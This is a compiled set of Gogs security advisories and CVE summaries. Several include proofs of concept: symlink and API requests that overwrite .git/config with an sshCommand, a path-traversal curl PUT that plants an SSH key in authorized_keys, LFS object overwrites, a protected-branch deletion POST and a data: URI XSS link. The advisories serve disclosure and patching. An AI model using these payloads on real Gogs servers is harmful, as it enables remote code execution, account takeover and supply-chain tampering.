Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-ccqv-43vm-4f3w. This link is maintained to preserve external references.
Original Description Gogs through 0.13.0 allows deletion of internal files.
Impact
The malicious user is able to upload a crafted config file into repository's .git directory with to gain SSH access to the server. All Windows installations with repository upload enabled (default) are affected.
Patches
Repository file uploads are prohibited to its .git directory. Users should upgrade to 0.12.8 or the latest 0.13.0+dev.
Workarounds
Disable repository files upload.
References
https://www.huntr.dev/bounties/9cd4e7b7-0979-4e5e-9a1c-388b58dea76b/
For more information
If you have any questions or comments about this advisory, please post on #6968.
Summary Due to the insufficient patch for the CVE-2024-39931, it's still possible to delete files under the .git directory and achieve remote command execution.
Details In the patch for CVE-2024-39931, the following check is added: https://github.com/gogs/gogs/commit/77a4a945ae9a87f77e392e9066b560edb71b5de9
diff + // 🚨 SECURITY: Prevent uploading files into the ".git" directory + if isRepositoryGitPath(opts.TreePath) { + return errors.Errorf("bad tree path %q", opts.TreePath) + }
While the above code snippet checks if the specified path is a .git directory, there are no checks for symbolic links in the later steps. So, by creating a symbolic link that points to the .git directory, an attacker can still delete arbitrary files in the .git directory and achieve remote command execution.
Impact Unprivileged user accounts can execute arbitrary commands on the Gogs instance with the privileges of the account specified by RUNUSER in the configuration. It allows attackers to access and alter any users' code hosted on the same instance.
Path Traversal in GitHub repository gogs/gogs prior to 0.12.9.
OS Command Injection in GitHub repository gogs/gogs prior to 0.12.9.
Remote Command Execution in uploading repository file in GitHub repository gogs/gogs prior to 0.12.6.
Impact
The malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server.
Patches
Editing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage. 2. In the second repository, create a symbolic link to the file you need to edit: bash $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test $ ls -la total 8 drwxr-xr-x  5 dd  staff  160 Oct 27 19:09 . drwxr-xr-x  4 dd  staff  128 Oct 27 19:06 .. drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git -rw-r--r--  1 dd  staff  12 Oct 27 19:06 README.md lrwxr-xr-x  1 dd  staff  44 Oct 27 19:09 test -> /data/gogs/data/tmp/local-repo/1/.git/config $ git add . $ git commit -m 'ddd' $ git push -f
3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed) [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true sshCommand = echo pwnned > /tmp/poc [remote "origin"] url = git@github.com:torvalds/linux.git fetch = +refs/heads/:refs/remotes/origin/ [branch "master"] remote = origin merge = refs/heads/master
4. Go back to the first repo, edit something, and commit again, you can notice a file called /tmp/poc created on the server.
For more information If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Summary Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the .git directory and achieve remote command execution.
Details Function UpdateRepoFile security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update .git/config file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206
PoC bash add a symlink file and push to repo. ln -s .git/config link git add link git commit -m 'add' && git push
Update file via API router http PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1 Content-Type: application/json Host: localhost:3000 Authorization: token {token}
{"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}
Impact RCE
Gogs is an open source self-hosted Git service. Versions 0.13.4 and below expose unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance. This issue has been fixed in version 0.14.1.
routes/api/v1/api.go in Gogs 0.11.86 lacks permission checks for routes: deploy keys, collaborators, and hooks.
Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
OS Command Injection in GitHub repository gogs/gogs prior to 0.12.11.
Summary Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.
Details Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58
Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89
Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113
PoC
./gogs -v Gogs version 0.13.0
1. User (admin1) upload a LFS object into their repository admin1/testlfs.git normally
POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2) Accept-Encoding: gzip, deflate, br Accept: application/vnd.git-lfs+json Connection: keep-alive Content-Type: application/vnd.git-lfs+json Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI= Content-Length: 168
{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}
response: <Response [200]> Connection: close Content-Length: 438 Content-Type: application/vnd.git-lfs+json Date: Thu, 28 Nov 2024 13:57:47 GMT Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'}, 'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'}, 'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}}, 'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a', 'size': 1048576}], 'transfer': 'basic'}
[STEP3] fileupload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='} response: <Response [200]> [verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2) Accept-Encoding: gzip, deflate, br Accept: application/vnd.git-lfs+json Connection: keep-alive Content-Type: application/vnd.git-lfs+json Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI= Cookie: lang=en-US Content-Length: 92
{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}
response: <Response [200]> Connection: close Content-Length: 0 Date: Thu, 28 Nov 2024 13:57:47 GMT
In this step, upload a LFS object 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
2. Attacker user2 overwrite this file by uploading manipulated content to their repo user2/public.git
PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a Content-Type: application/octet-stream Accept: application/vnd.git-lfs+json Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==
response: <Response [200]>
3. Verify the content has been overwritten:
curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i HTTP/1.1 200 OK Content-Length: 1048576 Connection: keep-alive Content-Type: application/octet-stream Date: Thu, 28 Nov 2024 14:01:53 GMT Keep-Alive: timeout=4 Proxy-Connection: keep-alive Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
curl: (18) transfer closed with 1048563 bytes remaining to read 2222 replaced
Impact All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all.
Fix Suggestion
Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.
Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified
Missing Authorization in GitHub repository gogs/gogs prior to 0.12.5.
In Gogs, versions v0.6.5 through v0.12.10 are vulnerable to Stored Cross-Site Scripting (XSS) that leads to an account takeover.
Gogs <=0.13.0 is vulnerable to Directory Traversal via the editFilePost function of internal/route/repo/editor.go.
Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Patches
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
1. Generate a Personal Access Tokens 2. Edit any file on the server with this
bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorizedkeys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }'
3. ssh connect to remote server
bash ssh -i temp git@localhost -p 10022
For more information If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Gogs contains a path traversal vulnerability affecting improper Symbolic link handling in the PutContents API that could allow for code execution.
Contact OpenAI Security Research at outbounddisclosures@openai.com to engage on this report. See PDF report for easier reading.
Security Advisory: 2FA Bypass via Recovery Code Vulnerability Type: 2FA Authentication Bypass Affected Software: GOGS Severity: High Date: Aug 5, 2025 Discoverer: OpenAI Security Research Summary Gogs’ 2FA recovery code validation does not scope codes by user, enabling cross-account bypass. If an attacker knows a victim’s username and password, they can use Security Advisory 2FA Bypass via Recovery Code - Google Docs.pdf any unused recovery code (e.g., from their own account) to bypass the victim’s 2FA. This enables full account takeover and renders 2FA ineffective in all environments where it's enabled. Affected Versions Software: Gogs Confirmed Version(s): All versions with 2FA support Likely Affected: All versions since introduction of UseRecoveryCode logic Introduced Commit: a617d52374e937db0edacfba2a26bdd14a05538e Commit: a617d52374e937db0edacfba2a26bdd14a05538e Author: Joe Chen Date: Apr 5, 2017 Description: 2fa: initial support
Vulnerability Details The function UseRecoveryCode in internal/database/twofactor.go fails to check that the recovery code belongs to the authenticating user. Instead, it looks for any unused recovery code: Vulnerable Code Snippet go func UseRecoveryCode( int64, code string) error { recoveryCode := new(TwoFactorRecoveryCode) has, err := x.Where("code = ?", code).And("isused = ?", false).Get(recoveryCode) ... } Although the caller passes userID, it is ignored. The result is a global lookup for any unused code, allowing an attacker to submit their own recovery code during another user's login flow.
Call Chain
web login handler → UseRecoveryCode(userID, code) → DB query without userID constraint Proof-of-Concept (PoC) Description This bug is tested against the latest version of Gogs hosted on Dockerhub. Attacker uses their own recovery code to bypass another user’s 2FA. Steps Create attacker account A and enable 2FA. Save a code like "abcde-fghij". Obtain credentials for victim B. Attempt login as B via web. When prompted for recovery code, submit A's code. Login as B succeeds; A's code is marked as used.
Impact 2FA rendered ineffective for all users Realistic Exploitation Scenarios Public Gogs instances with 2FA enabled Developer or maintainer accounts Enterprise self-hosted Gogs servers Potential Impact This vulnerability critically undermines 2FA. Since recovery codes are not globally unique and lack user scoping, any attacker with victim credentials can use one of their own recovery codes to complete login as the victim — bypassing all 2FA protections. This opens the door to account hijacking, data exfiltration, and downstream supply chain compromise. Timeline August 2025: Discovered via GPT5 August 2025: Reproduced and confirmed via PoC and sanitizer Aug 6, 2025 - Sent to Gogs via https://github.com/gogs/gogs/security/advisories/new
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. OpenAI Security Research makes no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. [This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.] OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
Summary
An access control bypass vulnerability in Gogs web interface allows any repository collaborator with Write permissions to delete protected branches (including the default branch) by sending a direct POST request, completely bypassing the branch protection mechanism. This vulnerability enables privilege escalation from Write to Admin level, allowing low-privilege users to perform dangerous operations that should be restricted to administrators only.
Although Git Hook layer correctly prevents protected branch deletion via SSH push, the web interface deletion operation does not trigger Git Hooks, resulting in complete bypass of protection mechanisms.
Details
Affected Component
- File: internal/route/repo/branch.go - Function: DeleteBranchPost (lines 110-155) - Route Configuration: internal/cmd/web.go:589 go m.Post("/delete/", reqSignIn, reqRepoWriter, repo.DeleteBranchPost)
Root Cause
The DeleteBranchPost function performs the following checks when deleting a branch: 1. ✅ User authentication (reqSignIn) 2. ✅ Write permission check (reqRepoWriter) 3. ✅ Branch existence verification 4. ✅ CommitID matching (optional parameter) 5. ❌ Missing protected branch check 6. ❌ Missing default branch check
While the UI layer (internal/route/repo/issue.go:646-658) correctly checks protected branch status and hides the delete button, attackers can directly construct POST requests to bypass UI restrictions.
Vulnerable Code
Vulnerable implementation (internal/route/repo/branch.go:110-155):
110:155:internal/route/repo/branch.go func DeleteBranchPost(c context.Context) { branchName := c.Params("") commitID := c.Query("commit")
defer func() { redirectTo := c.Query("redirectto") if !tool.IsSameSiteURLPath(redirectTo) { redirectTo = c.Repo.RepoLink } c.Redirect(redirectTo) }()
if !c.Repo.GitRepo.HasBranch(branchName) { return } if len(commitID) > 0 { branchCommitID, err := c.Repo.GitRepo.BranchCommitID(branchName) if err != nil { log.Error("Failed to get commit ID of branch %q: %v", branchName, err) return }
if branchCommitID != commitID { c.Flash.Error(c.Tr("repo.pulls.deletebranchhasnewcommits")) return } }
// đź”´ Vulnerability: Missing protected branch check here // Should add check like: // protectBranch, err := database.GetProtectBranchOfRepoByName(c.Repo.Repository.ID, branchName) // if protectBranch != nil && protectBranch.Protected { ... }
if err := c.Repo.GitRepo.DeleteBranch(branchName, git.DeleteBranchOptions{ Force: true, }); err != nil { log.Error("Failed to delete branch %q: %v", branchName, err) return }
if err := database.PrepareWebhooks(c.Repo.Repository, database.HookEventTypeDelete, &api.DeletePayload{ Ref: branchName, RefType: "branch", PusherType: api.PUSHERTYPEUSER, Repo: c.Repo.Repository.APIFormatLegacy(nil), Sender: c.User.APIFormat(), }); err != nil { log.Error("Failed to prepare webhooks for %q: %v", database.HookEventTypeDelete, err) return } }
Correct implementation in Git Hook (internal/cmd/hook.go:122-125):
go // check and deletion if newCommitID == git.EmptyID { fail(fmt.Sprintf("Branch '%s' is protected from deletion", branchName), "") }
Correct UI layer check (internal/route/repo/issue.go:646-658):
go protectBranch, err := database.GetProtectBranchOfRepoByName(pull.BaseRepoID, pull.HeadBranch) if err != nil { if !database.IsErrBranchNotExist(err) { c.Error(err, "get protect branch of repository by name") return } } else { branchProtected = protectBranch.Protected }
c.Data["IsPullBranchDeletable"] = pull.BaseRepoID == pull.HeadRepoID && c.Repo.IsWriter() && c.Repo.GitRepo.HasBranch(pull.HeadBranch) && !branchProtected // UI layer has check, but backend doesn't PoC
Prerequisites
1. Have Write permissions to the target repository (collaborator or team member) 2. Target repository has protected branches configured (e.g., main, master, develop) 3. Access to Gogs web interface
Send Malicious POST Request bash Directly send DELETE request bypassing UI protection curl -X POST \ -b cookies.txt \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "csrf=YOURCSRFTOKEN" \ "https://gogs.example.com/username/repo/branches/delete/main" <img width="1218" height="518" alt="image" src="https://github.com/user-attachments/assets/745da7c3-6139-408c-9747-ccbe9ea8548f" />
Impact - Bypass branch protection mechanism: The core function of protected branches is to prevent deletion, and this vulnerability completely undermines this mechanism - Delete default branch: Can cause repository to become inaccessible (git clone/pull failures) - Bypass code review: After deleting protected branch, can push new branch bypassing Pull Request requirements - Privilege escalation: Writer permission users can perform operations that should only be allowed for Admins
Summary
There is a security issue in Gogs where deleting a release can fail if a user-controlled tag name is passed to Git without the right separator, allowing Git option injection and therefore interfering with the process.
Affected Component
- internal/database/release.go process.ExecDir(..., "git", "tag", "-d", rel.TagName)
Details
rel.TagName is used as a CLI argument to git tag -d without -- or --end-of-options. If the tag name begins with -, Git parses it as a flag.
The prior mitigation is incomplete. There is path sanitization in place during creation:
- internal/database/release.go r.TagName = strings.TrimLeft(r.TagName, "-")
But it only covers one creation path and does not reliably protect tag deletions, such as tags added through git push or ref updates.
Exploit Conditions 1. An attacker can add a tag name that starts with a dash into the repository. 2. A user with permission to delete releases triggers it through the web UI or API.
Recommended Fix
1. Add end-of-options in release deletion: - git tag -d -- <tagName> 2. It is better to use the safe git-module deletion helper since it handles options properly. 3. All Git commands should be audited for user input, ensuring that the end-of-options separator is always used.
Impact - Option injection into git tag -d - Tag/release deletion can fail or behave unexpectedly - Operational denial of service in release cleanup workflows - Potential release metadata inconsistency
A CSRF vulnerability in the admin panel in Gogs through 0.11.53 allows remote attackers to execute admin operations via a crafted issue / link.
Missing input validation in internal/db/repoeditor.go in Gogs before 0.12.8 allows an attacker to execute code remotely. An unprivileged attacker (registered user) can overwrite the Git configuration in his repository. This leads to Remote Command Execution, because that configuration can contain an option such as sshCommand, which is executed when a master branch is a remote branch (using an ssh:// URI). The remote branch can also be configured by editing the Git configuration file. One can create a new file in a new repository, using the GUI, with "\" as its name, and then rename this file to .git/config with the custom configuration content (and then save it).
Summary A Stored Cross-site Scripting (XSS) vulnerability exists in the comment and issue description functionality. The application's HTML sanitizer explicitly allows data: URI schemes, enabling authenticated users to inject arbitrary JavaScript execution via malicious links.
Details The vulnerability is located in internal/markup/sanitizer.go. The application uses the bluemonday HTML sanitizer but explicitly weakens the security policy by allowing the data URL scheme:
go // internal/markup/sanitizer.go func NewSanitizer() { sanitizer.init.Do(func() { // ... // Data URLs sanitizer.policy.AllowURLSchemes("data") // ... }) }
While the Markdown renderer rewrites relative links (mitigating standard Markdown link attacks), Gogs supports Raw HTML input. Raw HTML anchor tags bypass the Markdown parser's link rewriting and are processed directly by the sanitizer. Since the sanitizer is configured to allow data: URIs, payloads like <a href="data:text/html..."> are rendered as-is.
PoC 1. Create a file named exploit.md in a repository. 2. Add the following content (Raw HTML): html <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click me for XSS</a> 3. Commit and push the file. 4. Navigate to the file in the Gogs web interface. 5. Click the "Click me for XSS" link. 6. Result: An alert box with "XSS" appears, executing the JavaScript payload.
Impact This is a Stored XSS vulnerability. Any user who views the malicious comment and clicks the link will execute the attacker-supplied JavaScript in their browser context. This allows attackers to: Steal authentication cookies and session tokens. Perform arbitrary actions on behalf of the victim (e.g., modifying repositories, adding collaborators). Redirect users to malicious sites.
In Gogs 0.11.53, an attacker can use migrate to send arbitrary HTTP GET requests, leading to SSRF.
An SSRF vulnerability in webhooks in Gitea through 1.5.0-rc2 and Gogs through 0.11.53 allows remote attackers to access intranet services.
Server-Side Request Forgery (SSRF) in GitHub repository gogs/gogs prior to 0.12.8.
Summary A Path Traversal vulnerability exists in the updateWikiPage function of Gogs. The vulnerability allows an authenticated user with write access to a repository's wiki to delete arbitrary files on the server by manipulating the oldtitle parameter in the wiki editing form.
Vulnerability Deatils The vulnerability is located in internal/database/wiki.go. When updating a wiki page, the application accepts an oldtitle parameter to identify the potential rename operation. This parameter is used directly in path.Join and os.Remove without proper sanitization.
Code snippet from internal/database/wiki.go: go // Line 114 os.Remove(path.Join(localPath, oldTitle+".md"))
If an attacker provides a path traversal sequence (e.g., ../../../../target) as oldtitle, the os.Remove function will resolve the path relative to the wiki's local directory and delete the target file. The vulnerability is limited to deleting files that end with .md (due to the appended extension), but depending on the filesystem and specific path.Join behavior, or if critical .md files exist (e.g. documentation, other wikis), the impact is significant. Additionally, in some contexts, the extension might be bypassed or ignored.
Impact - Denial of Service: Deletion of critical configuration files or data (if they match the extension or via other tricks). - Data Loss: Deletion of other users' wiki pages or documentation.
Remediation Sanitize the oldTitle parameter using ToWikiPageName (or path.Clean and basename validation) before using it in file operations, similar to how the new title is currently handled.
go // Recommended Fix if oldTitle != "" { oldTitle = ToWikiPageName(oldTitle) }
Reproduction Steps 1. Log in to Gogs as a user with write access to a repository wiki. 2. Intercept the POST request to /repo/wiki/edit. 3. Modify the oldtitle parameter to ../../../../tmp/targetfile. 4. Submit the request. 5. Observe that /tmp/targetfile.md is deleted from the server.
Path Traversal in GitHub repository gogs/gogs prior to 0.12.9.
In pkg/tool/path.go in Gogs before 0.11.82.1218, a directory traversal in the file-upload functionality can allow an attacker to create a file under data/sessions on the server, a similar issue to CVE-2018-18925.